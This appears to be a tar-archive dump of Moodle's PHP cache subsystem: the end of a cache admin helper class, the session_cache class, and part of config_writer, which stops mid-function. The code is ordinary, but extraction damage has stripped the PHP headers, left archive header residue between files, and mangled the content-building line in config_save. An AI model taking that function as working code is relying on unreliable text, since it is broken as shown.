foreach ($instance->get_mode_mappings() as $mapping) { $mode = $mapping['mode']; if (!array_key_exists($mode, $modemappings)) { debugging('Unknown mode in cache store mode mappings', DEBUG_DEVELOPER); continue; } if (array_key_exists($mapping['store'], $storenames)) { $modemappings[$mode][$mapping['store']] = $storenames[$mapping['store']]; } else { $modemappings[$mode][$mapping['store']] = $mapping['store']; } if (!array_key_exists($mapping['store'], $adequatestores)) { $modemappings[$mode][$mapping['store']] = $modemappings[$mode][$mapping['store']] . ' ' . $OUTPUT->render($icon); } } return $modemappings; } /** * Returns an array summarising the locks available in the system. * * @return array array of lock summaries. */ public static function get_lock_summaries(): array { $locks = []; $instance = config::instance(); $stores = $instance->get_all_stores(); foreach ($instance->get_locks() as $lock) { $default = !empty($lock['default']); if ($default) { $name = new lang_string($lock['name'], 'cache'); } else { $name = $lock['name']; } $uses = 0; foreach ($stores as $store) { if (!empty($store['lock']) && $store['lock'] === $lock['name']) { $uses++; } } $lockdata = [ 'name' => $name, 'default' => $default, 'uses' => $uses, 'type' => get_string('pluginname', $lock['type']), ]; $locks[$lock['name']] = $lockdata; } return $locks; } /** * Given a sharing option hash this function returns an array of strings that can be used to describe it. * * @param int $sharingoption The sharing option hash to get strings for. * @param bool $isselectedoptions Set to true if the strings will be used to view the selected options. * @return array An array of lang_string's. */ public static function get_definition_sharing_options(int $sharingoption, bool $isselectedoptions = true): array { $options = []; $prefix = ($isselectedoptions) ? 'sharingselected' : 'sharing'; if ($sharingoption & definition::SHARING_ALL) { $options[definition::SHARING_ALL] = new lang_string($prefix . '_all', 'cache'); } if ($sharingoption & definition::SHARING_SITEID) { $options[definition::SHARING_SITEID] = new lang_string($prefix . '_siteid', 'cache'); } if ($sharingoption & definition::SHARING_VERSION) { $options[definition::SHARING_VERSION] = new lang_string($prefix . '_version', 'cache'); } if ($sharingoption & definition::SHARING_INPUT) { $options[definition::SHARING_INPUT] = new lang_string($prefix . '_input', 'cache'); } return $options; } /** * Get an array of stores that are suitable to be used for a given definition. * * @param string $component * @param string $area * @return array Array containing 3 elements * 1. An array of currently used stores * 2. An array of suitable stores * 3. An array of default stores */ public static function get_definition_store_options(string $component, string $area): array { $factory = factory::instance(); $definition = $factory->create_definition($component, $area); $config = config::instance(); $currentstores = $config->get_stores_for_definition($definition); $possiblestores = $config->get_stores($definition->get_mode(), $definition->get_requirements_bin()); $defaults = []; foreach ($currentstores as $key => $store) { if (!empty($store['default'])) { $defaults[] = $key; unset($currentstores[$key]); } } foreach ($possiblestores as $key => $store) { if ($store['default']) { unset($possiblestores[$key]); $possiblestores[$key] = $store; } } return [$currentstores, $possiblestores, $defaults]; } /** * This function must be implemented to display options for store plugins. * * @param string $name the name of the store plugin. * @param array $plugindetails array of store plugin details. * @return array array of actions. */ public function get_store_plugin_actions(string $name, array $plugindetails): array { return []; } /** * This function must be implemented to display options for store instances. * * @param string $name the store instance name. * @param array $storedetails array of store instance details. * @return array array of actions. */ public function get_store_instance_actions(string $name, array $storedetails): array { return []; } /** * This function must be implemented to display options for definition mappings. * * @param context $context the context for the definition. * @param array $definitionsummary the definition summary. * @return array array of actions. */ public function get_definition_actions(\context $context, array $definitionsummary): array { return []; } /** * This function must be implemented to get addable locks. * * @return array array of locks that are addable. */ public function get_addable_lock_options(): array { return []; } /** * This function must be implemented to perform any page actions by a child class. * * @param string $action the action to perform. * @param array $forminfo empty array to be set by actions. * @return array array of form info. */ abstract public function perform_cache_actions(string $action, array $forminfo): array; /** * This function must be implemented to display the cache admin page. * * @param \core_cache\output\renderer $renderer the renderer used to generate the page. * @return string the HTML for the page. */ abstract public function generate_admin_page(\core_cache\output\renderer $renderer): string; /** * Gets usage information about the whole cache system. * * This is a slow function and should only be used on an admin information page. * * The returned array lists all cache definitions with fields 'cacheid' and 'stores'. For * each store, the following fields are available: * * - name (store name) * - class (e.g. cachestore_redis) * - supported (true if we have any information) * - items (number of items stored) * - mean (mean size of item) * - sd (standard deviation for item sizes) * - margin (margin of error for mean at 95% confidence) * - storetotal (total usage for store if known, otherwise null) * * The storetotal field will be the same for every cache that uses the same store. * * @param int $samplekeys Number of keys to sample when checking size of large caches * @return array Details of cache usage */ abstract public function get_usage(int $samplekeys): array; } classes/session_cache.php000064400000062350152265337610011540 0ustar00. namespace core_cache; use core\exception\coding_exception; /** * A session cache. * * This class is used for session caches returned by the cache::make methods. * * It differs from the application loader in a couple of noteable ways: * 1. Sessions are always expected to exist. * Because of this we don't ever use the static acceleration array. * 2. Session data for a loader instance (store + definition) is consolidate into a * single array for storage within the store. * Along with this we embed a lastaccessed time with the data. This way we can * check sessions for a last access time. * 3. Session stores are required to support key searching and must * implement searchable_cache_interface. This ensures stores used for the cache can be * targetted for garbage collection of session data. * * This cache class should never be interacted with directly. Instead you should always use the cache::make methods. * It is technically possible to call those methods through this class however there is no guarantee that you will get an * instance of this class back again. * * @todo we should support locking in the session as well. Should be pretty simple to set up. * * @internal don't use me directly. * @method store|searchable_cache_interface get_store() Returns the cache store which must implement * both searchable_cache_interface. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class session_cache extends cache { /** * The user the session has been established for. * @var int */ protected static $loadeduserid = null; /** * The userid this cache is currently using. * @var int */ protected $currentuserid = null; /** * The session id we are currently using. * @var array */ protected $sessionid = null; /** * The session data for the above session id. * @var array */ protected $session = null; /** * Constant used to prefix keys. */ const KEY_PREFIX = 'sess_'; /** * This is the key used to track last access. */ const LASTACCESS = '__lastaccess__'; /** * Override the cache::construct method. * * This function gets overriden so that we can process any invalidation events if need be. * If the definition doesn't have any invalidation events then this occurs exactly as it would for the cache class. * Otherwise we look at the last invalidation time and then check the invalidation data for events that have occured * between then now. * * You should not call this method from your code, instead you should use the cache::make methods. * * @param definition $definition * @param store $store * @param loader_interface|data_source_interface $loader */ public function __construct(definition $definition, store $store, $loader = null) { // First up copy the loadeduserid to the current user id. $this->currentuserid = self::$loadeduserid; $this->set_session_id(); parent::__construct($definition, $store, $loader); // This will trigger check tracked user. If this gets removed a call to that will need to be added here in its place. $this->set(self::LASTACCESS, cache::now()); $this->handle_invalidation_events(); } /** * Sets the session id for the loader. */ protected function set_session_id() { $this->sessionid = preg_replace('#[^a-zA-Z0-9_]#', '_', session_id()); } /** * Returns the prefix used for all keys. * @return string */ protected function get_key_prefix() { return 'u' . $this->currentuserid . '_' . $this->sessionid; } /** * Parses the key turning it into a string (or array is required) suitable to be passed to the cache store. * * This function is called for every operation that uses keys. For this reason we use this function to also check * that the current user is the same as the user who last used this cache. * * On top of that if prepends the string 'sess_' to the start of all keys. The _ ensures things are easily identifiable. * * @param string|int $key As passed to get|set|delete etc. * @return string|array String unless the store supports multi-identifiers in which case an array if returned. */ protected function parse_key($key) { $prefix = $this->get_key_prefix(); if ($key === self::LASTACCESS) { return $key . $prefix; } return $prefix . '_' . parent::parse_key($key); } /** * Check that this cache instance is tracking the current user. */ protected function check_tracked_user() { if (isset($_SESSION['USER']->id) && $_SESSION['USER']->id !== null) { // Get the id of the current user. $new = $_SESSION['USER']->id; } else { // No user set up yet. $new = 0; } if ($new !== self::$loadeduserid) { // The current user doesn't match the tracked userid for this request. if (!is_null(self::$loadeduserid)) { // Purge the data we have for the old user. // This way we don't bloat the session. $this->purge(); } self::$loadeduserid = $new; $this->currentuserid = $new; } else if ($new !== $this->currentuserid) { // The current user matches the loaded user but not the user last used by this cache. $this->purge_current_user(); $this->currentuserid = $new; } } /** * Purges the session cache of all data belonging to the current user. */ public function purge_current_user() { $keys = $this->get_store()->find_by_prefix($this->get_key_prefix()); $this->get_store()->delete_many($keys); } /** * Retrieves the value for the given key from the cache. * * @param string|int $key The key for the data being requested. * It can be any structure although using a scalar string or int is recommended in the interests of performance. * In advanced cases an array may be useful such as in situations requiring the multi-key functionality. * @param int $requiredversion Minimum required version of the data or cache::VERSION_NONE * @param int $strictness One of IGNORE_MISSING | MUST_EXIST * @param mixed &$actualversion If specified, will be set to the actual version number retrieved * @return mixed|false The data from the cache or false if the key did not exist within the cache. * @throws coding_exception */ protected function get_implementation($key, int $requiredversion, int $strictness, &$actualversion = null) { // Check the tracked user. $this->check_tracked_user(); // Use parent code. return parent::get_implementation($key, $requiredversion, $strictness, $actualversion); } /** * Sends a key => value pair to the cache. * * * // This code will add four entries to the cache, one for each url. * $cache->set('main', 'http://moodle.org'); * $cache->set('docs', 'http://docs.moodle.org'); * $cache->set('tracker', 'http://tracker.moodle.org'); * $cache->set('qa', 'http://qa.moodle.net'); * * * @param string|int $key The key for the data being requested. * It can be any structure although using a scalar string or int is recommended in the interests of performance. * In advanced cases an array may be useful such as in situations requiring the multi-key functionality. * @param mixed $data The data to set against the key. * @return bool True on success, false otherwise. */ public function set($key, $data) { $this->check_tracked_user(); $loader = $this->get_loader(); if ($loader !== false) { // We have a loader available set it there as well. // We have to let the loader do its own parsing of data as it may be unique. $loader->set($key, $data); } if (is_object($data) && $data instanceof cacheable_object_interface) { $data = new cached_object($data); } else if (!$this->get_store()->supports_dereferencing_objects() && !is_scalar($data)) { // If data is an object it will be a reference. // If data is an array if may contain references. // We want to break references so that the cache cannot be modified outside of itself. // Call the function to unreference it (in the best way possible). $data = $this->unref($data); } // We dont' support native TTL here as we consolidate data for sessions. if ($this->has_a_ttl() && !$this->store_supports_native_ttl()) { $data = new ttl_wrapper($data, $this->get_definition()->get_ttl()); } $success = $this->get_store()->set($this->parse_key($key), $data); if ($this->perfdebug) { helper::record_cache_set( $this->get_store(), $this->get_definition(), 1, $this->get_store()->get_last_io_bytes() ); } return $success; } /** * Delete the given key from the cache. * * @param string|int $key The key to delete. * @param bool $recurse When set to true the key will also be deleted from all stacked cache loaders and their stores. * This happens by default and ensure that all the caches are consistent. It is NOT recommended to change this. * @return bool True of success, false otherwise. */ public function delete($key, $recurse = true) { $parsedkey = $this->parse_key($key); if ($recurse && $this->get_loader() !== false) { // Delete from the bottom of the stack first. $this->get_loader()->delete($key, $recurse); } return $this->get_store()->delete($parsedkey); } /** * Retrieves an array of values for an array of keys. * * Using this function comes with potential performance implications. * Not all cache stores will support get_many/set_many operations and in order to replicate this functionality will call * the equivalent singular method for each item provided. * This should not deter you from using this function as there is a performance benefit in situations where the cache store * does support it, but you should be aware of this fact. * * @param array $keys The keys of the data being requested. * Each key can be any structure although using a scalar string or int is recommended in the interests of performance. * In advanced cases an array may be useful such as in situations requiring the multi-key functionality. * @param int $strictness One of IGNORE_MISSING or MUST_EXIST. * @return array An array of key value pairs for the items that could be retrieved from the cache. * If MUST_EXIST was used and not all keys existed within the cache then an exception will be thrown. * Otherwise any key that did not exist will have a data value of false within the results. * @throws coding_exception */ public function get_many(array $keys, $strictness = IGNORE_MISSING) { $this->check_tracked_user(); $parsedkeys = []; $keymap = []; foreach ($keys as $key) { $parsedkey = $this->parse_key($key); $parsedkeys[$key] = $parsedkey; $keymap[$parsedkey] = $key; } $result = $this->get_store()->get_many($parsedkeys); if ($this->perfdebug) { $readbytes = $this->get_store()->get_last_io_bytes(); } $return = []; $missingkeys = []; $hasmissingkeys = false; foreach ($result as $parsedkey => $value) { $key = $keymap[$parsedkey]; if ($value instanceof ttl_wrapper) { /* @var ttl_wrapper $value */ if ($value->has_expired()) { $this->delete($keymap[$parsedkey]); $value = false; } else { $value = $value->data; } } if ($value instanceof cached_object) { /* @var cached_object $value */ $value = $value->restore_object(); } else if (!$this->get_store()->supports_dereferencing_objects() && !is_scalar($value)) { // If data is an object it will be a reference. // If data is an array if may contain references. // We want to break references so that the cache cannot be modified outside of itself. // Call the function to unreference it (in the best way possible). $value = $this->unref($value); } $return[$key] = $value; if ($value === false) { $hasmissingkeys = true; $missingkeys[$parsedkey] = $key; } } if ($hasmissingkeys) { // We've got missing keys - we've got to check any loaders or data sources. $loader = $this->get_loader(); $datasource = $this->get_datasource(); if ($loader !== false) { foreach ($loader->get_many($missingkeys) as $key => $value) { if ($value !== false) { $return[$key] = $value; unset($missingkeys[$parsedkeys[$key]]); } } } $hasmissingkeys = count($missingkeys) > 0; if ($datasource !== false && $hasmissingkeys) { // We're still missing keys but we've got a datasource. foreach ($datasource->load_many_for_cache($missingkeys) as $key => $value) { if ($value !== false) { $return[$key] = $value; unset($missingkeys[$parsedkeys[$key]]); } } $hasmissingkeys = count($missingkeys) > 0; } } if ($hasmissingkeys && $strictness === MUST_EXIST) { throw new coding_exception('Requested key did not exist in any cache stores and could not be loaded.'); } if ($this->perfdebug) { $hits = 0; $misses = 0; foreach ($return as $value) { if ($value === false) { $misses++; } else { $hits++; } } helper::record_cache_hit($this->get_store(), $this->get_definition(), $hits, $readbytes); helper::record_cache_miss($this->get_store(), $this->get_definition(), $misses); } return $return; } /** * Delete all of the given keys from the cache. * * @param array $keys The key to delete. * @param bool $recurse When set to true the key will also be deleted from all stacked cache loaders and their stores. * This happens by default and ensure that all the caches are consistent. It is NOT recommended to change this. * @return int The number of items successfully deleted. */ public function delete_many(array $keys, $recurse = true) { $parsedkeys = array_map([$this, 'parse_key'], $keys); if ($recurse && $this->get_loader() !== false) { // Delete from the bottom of the stack first. $this->get_loader()->delete_many($keys, $recurse); } return $this->get_store()->delete_many($parsedkeys); } /** * Sends several key => value pairs to the cache. * * Using this function comes with potential performance implications. * Not all cache stores will support get_many/set_many operations and in order to replicate this functionality will call * the equivalent singular method for each item provided. * This should not deter you from using this function as there is a performance benefit in situations where the cache store * does support it, but you should be aware of this fact. * * * // This code will add four entries to the cache, one for each url. * $cache->set_many(array( * 'main' => 'http://moodle.org', * 'docs' => 'http://docs.moodle.org', * 'tracker' => 'http://tracker.moodle.org', * 'qa' => ''http://qa.moodle.net' * )); * * * @param array $keyvaluearray An array of key => value pairs to send to the cache. * @return int The number of items successfully set. It is up to the developer to check this matches the number of items. * ... if they care that is. */ public function set_many(array $keyvaluearray) { $this->check_tracked_user(); $loader = $this->get_loader(); if ($loader !== false) { // We have a loader available set it there as well. // We have to let the loader do its own parsing of data as it may be unique. $loader->set_many($keyvaluearray); } $data = []; $definitionid = $this->get_definition()->get_ttl(); $simulatettl = $this->has_a_ttl() && !$this->store_supports_native_ttl(); foreach ($keyvaluearray as $key => $value) { if (is_object($value) && $value instanceof cacheable_object_interface) { $value = new cached_object($value); } else if (!$this->get_store()->supports_dereferencing_objects() && !is_scalar($value)) { // If data is an object it will be a reference. // If data is an array if may contain references. // We want to break references so that the cache cannot be modified outside of itself. // Call the function to unreference it (in the best way possible). $value = $this->unref($value); } if ($simulatettl) { $value = new ttl_wrapper($value, $definitionid); } $data[$key] = [ 'key' => $this->parse_key($key), 'value' => $value, ]; } $successfullyset = $this->get_store()->set_many($data); if ($this->perfdebug && $successfullyset) { helper::record_cache_set( $this->get_store(), $this->get_definition(), $successfullyset, $this->get_store()->get_last_io_bytes() ); } return $successfullyset; } /** * Purges the cache store, and loader if there is one. * * @return bool True on success, false otherwise */ public function purge() { $this->get_store()->purge(); if ($this->get_loader()) { $this->get_loader()->purge(); } return true; } /** * Test is a cache has a key. * * The use of the has methods is strongly discouraged. In a high load environment the cache may well change between the * test and any subsequent action (get, set, delete etc). * Instead it is recommended to write your code in such a way they it performs the following steps: *
    *
  1. Attempt to retrieve the information.
  2. *
  3. Generate the information.
  4. *
  5. Attempt to set the information
  6. *
* * Its also worth mentioning that not all stores support key tests. * For stores that don't support key tests this functionality is mimicked by using the equivalent get method. * Just one more reason you should not use these methods unless you have a very good reason to do so. * * @param string|int $key * @param bool $tryloadifpossible If set to true, the cache doesn't contain the key, and there is another cache loader or * data source then the code will try load the key value from the next item in the chain. * @return bool True if the cache has the requested key, false otherwise. */ public function has($key, $tryloadifpossible = false) { $this->check_tracked_user(); $parsedkey = $this->parse_key($key); $store = $this->get_store(); if ($this->has_a_ttl() && !$this->store_supports_native_ttl()) { // The data has a TTL and the store doesn't support it natively. // We must fetch the data and expect a ttl wrapper. $data = $store->get($parsedkey); $has = ($data instanceof ttl_wrapper && !$data->has_expired()); } else if (!$this->store_supports_key_awareness()) { // The store doesn't support key awareness, get the data and check it manually... puke. // Either no TTL is set of the store supports its handling natively. $data = $store->get($parsedkey); $has = ($data !== false); } else { // The store supports key awareness, this is easy! // Either no TTL is set of the store supports its handling natively. /* @var store|key_aware_cache_interface $store */ $has = $store->has($parsedkey); } if (!$has && $tryloadifpossible) { $result = null; if ($this->get_loader() !== false) { $result = $this->get_loader()->get($parsedkey); } else if ($this->get_datasource() !== null) { $result = $this->get_datasource()->load_for_cache($key); } $has = ($result !== null); if ($has) { $this->set($key, $result); } } return $has; } /** * Test is a cache has all of the given keys. * * It is strongly recommended to avoid the use of this function if not absolutely required. * In a high load environment the cache may well change between the test and any subsequent action (get, set, delete etc). * * Its also worth mentioning that not all stores support key tests. * For stores that don't support key tests this functionality is mimicked by using the equivalent get method. * Just one more reason you should not use these methods unless you have a very good reason to do so. * * @param array $keys * @return bool True if the cache has all of the given keys, false otherwise. */ public function has_all(array $keys) { $this->check_tracked_user(); if (($this->has_a_ttl() && !$this->store_supports_native_ttl()) || !$this->store_supports_key_awareness()) { foreach ($keys as $key) { if (!$this->has($key)) { return false; } } return true; } // The cache must be key aware and if support native ttl if it a ttl is set. /* @var store|key_aware_cache_interface $store */ $store = $this->get_store(); return $store->has_all(array_map([$this, 'parse_key'], $keys)); } /** * Test if a cache has at least one of the given keys. * * It is strongly recommended to avoid the use of this function if not absolutely required. * In a high load environment the cache may well change between the test and any subsequent action (get, set, delete etc). * * Its also worth mentioning that not all stores support key tests. * For stores that don't support key tests this functionality is mimicked by using the equivalent get method. * Just one more reason you should not use these methods unless you have a very good reason to do so. * * @param array $keys * @return bool True if the cache has at least one of the given keys */ public function has_any(array $keys) { if (($this->has_a_ttl() && !$this->store_supports_native_ttl()) || !$this->store_supports_key_awareness()) { foreach ($keys as $key) { if ($this->has($key)) { return true; } } return false; } /* @var store|key_aware_cache_interface $store */ $store = $this->get_store(); return $store->has_any(array_map([$this, 'parse_key'], $keys)); } /** * The session loader never uses static acceleration. * Instead it stores things in the static $session variable. Shared between all session loaders. * * @return bool */ protected function use_static_acceleration() { return false; } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(session_cache::class, \cache_session::class); classes/config_writer.php000064400000065735152265337610011605 0ustar00. namespace core_cache; use core\exception\coding_exception; use core_cache\exception\cache_exception; use cachestore_static; use cachestore_session; use cachestore_file; use core_component; use ReflectionClass; /** * Cache configuration writer. * * This class should only be used when you need to write to the config, all read operations exist within the cache config. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class config_writer extends config { /** * Switch that gets set to true when ever a config_writer instance is saving the cache configuration file. * If this is set to true when save is next called we must avoid the trying to save and instead return the * generated config so that is may be used instead of the file. * @var bool */ protected static $creatingconfig = false; /** * Returns an instance of the configuration writer. * * @return config_writer */ public static function instance() { $factory = factory::instance(); return $factory->create_config_instance(true); } /** * Saves the current configuration. * * Exceptions within this function are tolerated but must be of type cache_exception. * They are caught during initialisation and written to the error log. This is required in order to avoid * infinite loop situations caused by the cache throwing exceptions during its initialisation. */ protected function config_save() { global $CFG; static $confighash = ''; $cachefile = static::get_config_file_path(); $directory = dirname($cachefile); if ($directory !== $CFG->dataroot && !file_exists($directory)) { $result = make_writable_directory($directory, false); if (!$result) { throw new cache_exception('ex_configcannotsave', 'cache', '', null, 'Cannot create config directory. Check the permissions on your moodledata directory.'); } } if (!file_exists($directory) || !is_writable($directory)) { throw new cache_exception('ex_configcannotsave', 'cache', '', null, 'Config directory is not writable. Check the permissions on the moodledata/muc directory.'); } // Prepare a configuration array to store. $configuration = $this->generate_configuration_array(); // Prepare the file content. $content = "configlocks); if ($lockconf === false) { debugging('Your cache configuration file is out of date and needs to be refreshed.', DEBUG_DEVELOPER); // Use the default $lockconf = [ 'name' => 'cachelock_file_default', 'type' => 'cachelock_file', 'dir' => 'filelocks', 'default' => true, ]; } $factory = factory::instance(); $locking = $factory->create_lock_instance($lockconf); if ($locking->lock('configwrite', 'config', true)) { $tempcachefile = "{$cachefile}.tmp"; // Its safe to use w mode here because we have already acquired the lock. $handle = fopen($tempcachefile, 'w'); fwrite($handle, $content); fflush($handle); fclose($handle); $locking->unlock('configwrite', 'config'); @chmod($tempcachefile, $CFG->filepermissions); rename($tempcachefile, $cachefile); // Tell PHP to recompile the script. core_component::invalidate_opcode_php_cache($cachefile); } else { throw new cache_exception('ex_configcannotsave', 'cache', '', null, 'Unable to open the cache config file.'); } } /** * Generates a configuration array suitable to be written to the config file. * @return array */ protected function generate_configuration_array() { $configuration = []; $configuration['siteidentifier'] = $this->siteidentifier; $configuration['stores'] = $this->configstores; $configuration['modemappings'] = $this->configmodemappings; $configuration['definitions'] = $this->configdefinitions; $configuration['definitionmappings'] = $this->configdefinitionmappings; $configuration['locks'] = $this->configlocks; return $configuration; } /** * Adds a plugin instance. * * This function also calls save so you should redirect immediately, or at least very shortly after * calling this method. * * @param string $name The name for the instance (must be unique) * @param string $plugin The name of the plugin. * @param array $configuration The configuration data for the plugin instance. * @return bool * @throws cache_exception */ public function add_store_instance($name, $plugin, array $configuration = []) { if (array_key_exists($name, $this->configstores)) { throw new cache_exception('Duplicate name specificed for cache plugin instance. You must provide a unique name.'); } $class = 'cachestore_' . $plugin; if (!class_exists($class)) { $plugins = core_component::get_plugin_list_with_file('cachestore', 'lib.php'); if (!array_key_exists($plugin, $plugins)) { throw new cache_exception('Invalid plugin name specified. The plugin does not exist or is not valid.'); } $file = $plugins[$plugin]; if (file_exists($file)) { require_once($file); } if (!class_exists($class)) { throw new cache_exception('Invalid cache plugin specified. The plugin does not contain the required class.'); } } $reflection = new ReflectionClass($class); if (!$reflection->isSubclassOf(store::class)) { throw new cache_exception('Invalid cache plugin specified. The plugin does not extend the required class.'); } if (!$class::are_requirements_met()) { throw new cache_exception('Unable to add new cache plugin instance. The requested plugin type is not supported.'); } $this->configstores[$name] = [ 'name' => $name, 'plugin' => $plugin, 'configuration' => $configuration, 'features' => $class::get_supported_features($configuration), 'modes' => $class::get_supported_modes($configuration), 'mappingsonly' => !empty($configuration['mappingsonly']), 'class' => $class, 'default' => false, ]; if (array_key_exists('lock', $configuration)) { $this->configstores[$name]['lock'] = $configuration['lock']; unset($this->configstores[$name]['configuration']['lock']); } // Call instance_created() $store = new $class($name, $this->configstores[$name]['configuration']); $store->instance_created(); $this->config_save(); return true; } /** * Adds a new lock instance to the config file. * * @param string $name The name the user gave the instance. PARAM_ALHPANUMEXT * @param string $plugin The plugin we are creating an instance of. * @param string $configuration Configuration data from the config instance. * @throws cache_exception */ public function add_lock_instance($name, $plugin, $configuration = []) { if (array_key_exists($name, $this->configlocks)) { throw new cache_exception('Duplicate name specificed for cache lock instance. You must provide a unique name.'); } $class = 'cachelock_' . $plugin; if (!class_exists($class)) { $plugins = core_component::get_plugin_list_with_file('cachelock', 'lib.php'); if (!array_key_exists($plugin, $plugins)) { throw new cache_exception('Invalid lock name specified. The plugin does not exist or is not valid.'); } $file = $plugins[$plugin]; if (file_exists($file)) { require_once($file); } if (!class_exists($class)) { throw new cache_exception('Invalid lock plugin specified. The plugin does not contain the required class.'); } } $reflection = new ReflectionClass($class); if (!$reflection->implementsInterface(lockable_cache_interface::class)) { throw new cache_exception('Invalid lock plugin specified. The plugin does not implement the required interface.'); } $this->configlocks[$name] = array_merge($configuration, [ 'name' => $name, 'type' => 'cachelock_' . $plugin, 'default' => false, ]); $this->config_save(); } /** * Deletes a lock instance given its name. * * @param string $name The name of the plugin, PARAM_ALPHANUMEXT. * @return bool * @throws cache_exception */ public function delete_lock_instance($name) { if (!array_key_exists($name, $this->configlocks)) { throw new cache_exception('The requested store does not exist.'); } if ($this->configlocks[$name]['default']) { throw new cache_exception('You can not delete the default lock.'); } foreach ($this->configstores as $store) { if (isset($store['lock']) && $store['lock'] === $name) { throw new cache_exception('You cannot delete a cache lock that is being used by a store.'); } } unset($this->configlocks[$name]); $this->config_save(); return true; } /** * Sets the mode mappings. * * These determine the default caches for the different modes. * This function also calls save so you should redirect immediately, or at least very shortly after * calling this method. * * @param array $modemappings * @return bool * @throws cache_exception */ public function set_mode_mappings(array $modemappings) { $mappings = [ store::MODE_APPLICATION => [], store::MODE_SESSION => [], store::MODE_REQUEST => [], ]; foreach ($modemappings as $mode => $stores) { if (!array_key_exists($mode, $mappings)) { throw new cache_exception('The cache mode for the new mapping does not exist'); } $sort = 0; foreach ($stores as $store) { if (!array_key_exists($store, $this->configstores)) { throw new cache_exception('The instance name for the new mapping does not exist'); } if (array_key_exists($store, $mappings[$mode])) { throw new cache_exception('This cache mapping already exists'); } $mappings[$mode][] = [ 'store' => $store, 'mode' => $mode, 'sort' => $sort++, ]; } } $this->configmodemappings = array_merge( $mappings[store::MODE_APPLICATION], $mappings[store::MODE_SESSION], $mappings[store::MODE_REQUEST] ); $this->config_save(); return true; } /** * Edits a give plugin instance. * * The plugin instance is determined by its name, hence you cannot rename plugins. * This function also calls save so you should redirect immediately, or at least very shortly after * calling this method. * * @param string $name * @param string $plugin * @param array $configuration * @return bool * @throws cache_exception */ public function edit_store_instance($name, $plugin, $configuration) { if (!array_key_exists($name, $this->configstores)) { throw new cache_exception('The requested instance does not exist.'); } $plugins = core_component::get_plugin_list_with_file('cachestore', 'lib.php'); if (!array_key_exists($plugin, $plugins)) { throw new cache_exception('Invalid plugin name specified. The plugin either does not exist or is not valid.'); } $class = 'cachestore_' . $plugin; $file = $plugins[$plugin]; if (!class_exists($class)) { if (file_exists($file)) { require_once($file); } if (!class_exists($class)) { throw new cache_exception( "Invalid cache plugin specified. The plugin does not contain the required class {$class}", ); } } $this->configstores[$name] = [ 'name' => $name, 'plugin' => $plugin, 'configuration' => $configuration, 'features' => $class::get_supported_features($configuration), 'modes' => $class::get_supported_modes($configuration), 'mappingsonly' => !empty($configuration['mappingsonly']), 'class' => $class, 'default' => $this->configstores[$name]['default'], // Can't change the default. ]; if (array_key_exists('lock', $configuration)) { $this->configstores[$name]['lock'] = $configuration['lock']; unset($this->configstores[$name]['configuration']['lock']); } $this->config_save(); return true; } /** * Deletes a store instance. * * This function also calls save so you should redirect immediately, or at least very shortly after * calling this method. * * @param string $name The name of the instance to delete. * @return bool * @throws cache_exception */ public function delete_store_instance($name) { if (!array_key_exists($name, $this->configstores)) { throw new cache_exception('The requested store does not exist.'); } if ($this->configstores[$name]['default']) { throw new cache_exception('The can not delete the default stores.'); } foreach ($this->configmodemappings as $mapping) { if ($mapping['store'] === $name) { throw new cache_exception('You cannot delete a cache store that has mode mappings.'); } } foreach ($this->configdefinitionmappings as $mapping) { if ($mapping['store'] === $name) { throw new cache_exception('You cannot delete a cache store that has definition mappings.'); } } // Call instance_deleted() $class = 'cachestore_' . $this->configstores[$name]['plugin']; $store = new $class($name, $this->configstores[$name]['configuration']); $store->instance_deleted(); unset($this->configstores[$name]); $this->config_save(); return true; } /** * Creates the default configuration and saves it. * * This function calls config_save, however it is safe to continue using it afterwards as this function should only ever * be called when there is no configuration file already. * * @param bool $forcesave If set to true then we will forcefully save the default configuration file. * @return true|array Returns true if the default configuration was successfully created. * Returns a configuration array if it could not be saved. This is a bad situation. Check your error logs. */ public static function create_default_configuration($forcesave = false) { // HACK ALERT. // We probably need to come up with a better way to create the default stores, or at least ensure 100% that the // default store plugins are protected from deletion. $writer = new self(); $writer->configstores = self::get_default_stores(); $writer->configdefinitions = self::locate_definitions(); $writer->configmodemappings = [ [ 'mode' => store::MODE_APPLICATION, 'store' => 'default_application', 'sort' => -1, ], [ 'mode' => store::MODE_SESSION, 'store' => 'default_session', 'sort' => -1, ], [ 'mode' => store::MODE_REQUEST, 'store' => 'default_request', 'sort' => -1, ], ]; $writer->configlocks = [ 'default_file_lock' => [ 'name' => 'cachelock_file_default', 'type' => 'cachelock_file', 'dir' => 'filelocks', 'default' => true, ], ]; $factory = factory::instance(); // We expect the cache to be initialising presently. If its not then something has gone wrong and likely // we are now in a loop. if (!$forcesave && $factory->get_state() !== factory::STATE_INITIALISING) { return $writer->generate_configuration_array(); } $factory->set_state(factory::STATE_SAVING); $writer->config_save(); return true; } /** * Returns an array of default stores for use. * * @return array */ protected static function get_default_stores() { global $CFG; require_once($CFG->dirroot . '/cache/stores/file/lib.php'); require_once($CFG->dirroot . '/cache/stores/session/lib.php'); require_once($CFG->dirroot . '/cache/stores/static/lib.php'); return [ 'default_application' => [ 'name' => 'default_application', 'plugin' => 'file', 'configuration' => [], 'features' => cachestore_file::get_supported_features(), 'modes' => cachestore_file::get_supported_modes(), 'default' => true, ], 'default_session' => [ 'name' => 'default_session', 'plugin' => 'session', 'configuration' => [], 'features' => cachestore_session::get_supported_features(), 'modes' => cachestore_session::get_supported_modes(), 'default' => true, ], 'default_request' => [ 'name' => 'default_request', 'plugin' => 'static', 'configuration' => [], 'features' => cachestore_static::get_supported_features(), 'modes' => cachestore_static::get_supported_modes(), 'default' => true, ], ]; } /** * Updates the default stores within the MUC config file. */ public static function update_default_config_stores() { $factory = factory::instance(); $factory->updating_started(); $config = $factory->create_config_instance(true); $config->configstores = array_merge($config->configstores, self::get_default_stores()); $config->config_save(); $factory->updating_finished(); } /** * Updates the definition in the configuration from those found in the cache files. * * Calls config_save further down, you should redirect immediately or asap after calling this method. * * @param bool $coreonly If set to true only core definitions will be updated. */ public static function update_definitions($coreonly = false) { $factory = factory::instance(); $factory->updating_started(); $config = $factory->create_config_instance(true); $config->write_definitions_to_cache(self::locate_definitions($coreonly)); $factory->updating_finished(); } /** * Locates all of the definition files. * * @param bool $coreonly If set to true only core definitions will be updated. * @return array */ protected static function locate_definitions($coreonly = false) { global 